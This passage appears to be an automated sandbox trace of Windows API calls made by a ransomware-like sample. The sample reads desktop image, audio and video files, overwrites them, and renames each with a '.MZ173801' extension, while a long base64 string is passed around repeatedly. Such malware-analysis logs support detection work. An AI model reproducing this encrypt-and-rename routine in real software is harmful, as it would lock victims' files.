lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x18762 [0144.820] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.820] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x18762, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x18762, lpOverlapped=0x0) returned 1 [0144.822] CloseHandle (hObject=0x224) returned 1 [0144.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hZVPYttjablu-QCRFYNk.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hzvpyttjablu-qcrfynk.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.826] WriteFile (in: hFile=0x224, lpBuffer=0x72e540*, nNumberOfBytesToWrite=0x18762, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72e540*, lpNumberOfBytesWritten=0x18f99c*=0x18762, lpOverlapped=0x0) returned 1 [0144.829] CloseHandle (hObject=0x224) returned 1 [0144.830] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hZVPYttjablu-QCRFYNk.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hzvpyttjablu-qcrfynk.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hZVPYttjablu-QCRFYNk.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hzvpyttjablu-qcrfynk.bmp.mz173801")) returned 1 [0144.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LENtc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lentc.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd69298a0, ftCreationTime.dwHighDateTime=0x1d5e663, ftLastAccessTime.dwLowDateTime=0x9c271f70, ftLastAccessTime.dwHighDateTime=0x1d5dd66, ftLastWriteTime.dwLowDateTime=0x9c271f70, ftLastWriteTime.dwHighDateTime=0x1d5dd66, nFileSizeHigh=0x0, nFileSizeLow=0x9f4f)) returned 1 [0144.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LENtc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lentc.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.861] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.862] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.862] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x9f4f [0144.862] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.862] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x9f4f, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x9f4f, lpOverlapped=0x0) returned 1 [0144.863] CloseHandle (hObject=0x224) returned 1 [0144.864] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LENtc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lentc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.866] WriteFile (in: hFile=0x224, lpBuffer=0x71e540*, nNumberOfBytesToWrite=0x9f4f, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71e540*, lpNumberOfBytesWritten=0x18f99c*=0x9f4f, lpOverlapped=0x0) returned 1 [0144.868] CloseHandle (hObject=0x224) returned 1 [0144.869] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LENtc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lentc.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LENtc.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lentc.mp3.mz173801")) returned 1 [0144.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m9I N.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m9i n.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x630a3b30, ftCreationTime.dwHighDateTime=0x1d5db4c, ftLastAccessTime.dwLowDateTime=0xd0f8c760, ftLastAccessTime.dwHighDateTime=0x1d5e29f, ftLastWriteTime.dwLowDateTime=0xd0f8c760, ftLastWriteTime.dwHighDateTime=0x1d5e29f, nFileSizeHigh=0x0, nFileSizeLow=0x16b9e)) returned 1 [0144.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.874] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m9I N.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m9i n.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.874] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.874] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.874] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x16b9e [0144.874] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.874] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x16b9e, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x16b9e, lpOverlapped=0x0) returned 1 [0144.876] CloseHandle (hObject=0x224) returned 1 [0144.878] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m9I N.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m9i n.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.880] WriteFile (in: hFile=0x224, lpBuffer=0x72c540*, nNumberOfBytesToWrite=0x16b9e, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72c540*, lpNumberOfBytesWritten=0x18f99c*=0x16b9e, lpOverlapped=0x0) returned 1 [0144.883] CloseHandle (hObject=0x224) returned 1 [0144.883] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m9I N.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m9i n.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m9I N.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m9i n.bmp.mz173801")) returned 1 [0144.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MeaOqsa9RRk c.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\meaoqsa9rrk c.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x674e45d0, ftCreationTime.dwHighDateTime=0x1d5e676, ftLastAccessTime.dwLowDateTime=0x16ae8860, ftLastAccessTime.dwHighDateTime=0x1d5dbb8, 